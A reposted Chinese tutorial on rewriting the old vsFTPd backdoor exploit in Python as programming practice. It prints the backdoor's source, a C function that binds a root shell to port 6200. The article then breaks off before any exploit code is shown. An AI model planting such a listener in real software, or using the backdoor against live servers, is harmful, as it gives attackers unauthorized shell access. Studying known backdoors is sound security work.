加入收藏 | 设为首页 | 会员中心 | 我要投稿 江门站长网 (https://www.0750zz.com/)- 科技、建站、经验、云计算、5G、大数据,站长网!
当前位置: 首页 > 服务器 > 安全 > 正文

在Python中重建vsFTPd后门漏洞

发布时间:2022-05-18 09:46:38 所属栏目:安全 来源:互联网
导读:在Python中重建vsFTPd后门漏洞: 一、前言 大家好,首先来个声明本文目的不在于分析vsFTPd后门漏洞,我最近喜欢用漏洞编写exploit的形式来练习编程语言,在本文中,我们将重新用Python来一步步的编写这个漏洞的利用程序,主要是触发后门然后连接shell。首先
        在Python中重建vsFTPd后门漏洞:

一、前言
 
        大家好,首先来个声明本文目的不在于分析vsFTPd后门漏洞,我最近喜欢用漏洞编写exploit的形式来练习编程语言,在本文中,我们将重新用Python来一步步的编写这个漏洞的利用程序,主要是触发后门然后连接shell。首先我们来了解一下这个漏洞是如何触发的。
 
二、剖析vsFTPd后门漏洞
 
        这个漏洞比较老了,但是要当成一个例子来练习技术,非常的经典,洞如其名,不知道这个是不是程序员故意留下的,还是被黑客植入的。首先我们下载源码下来看看。
 
        在sysdeputil.c的源码中,我们找到了vsf_sysutil_extra()函数:
 
复制
int vsf_sysutil_extra(void)
{
  int fd, rfd;
  struct sockaddr_in sa;
  if((fd = socket(AF_INET, SOCK_STREAM, 0)) < 0)
  exit(1);
  memset(&sa, 0, sizeof(sa));
  sa.sin_family = AF_INET;
  sa.sin_port = htons(6200);
  sa.sin_addr.s_addr = INADDR_ANY;
  if((bind(fd,(struct sockaddr *)&sa,
  sizeof(struct sockaddr))) < 0) exit(1);
  if((listen(fd, 100)) == -1) exit(1);
  for(;;)
  {
    rfd = accept(fd, 0, 0);
    close(0); close(1); close(2);
    dup2(rfd, 0); dup2(rfd, 1); dup2(rfd, 2);
    execl("/bin/sh","sh",(char *)0);
 
可以发现这就是一段shell,绑定的端口是6200.
 
三、重构vsFTPd后门漏洞exploit
 
在前面我们已经了解到了如何来触发vsFTPd后门漏洞,现在就正式开始编写漏洞exploit了。

(编辑:江门站长网)

【声明】本站内容均来自网络,其相关言论仅代表作者个人观点,不代表本站立场。若无意侵犯到您的权利,请及时与联系站长删除相关内容!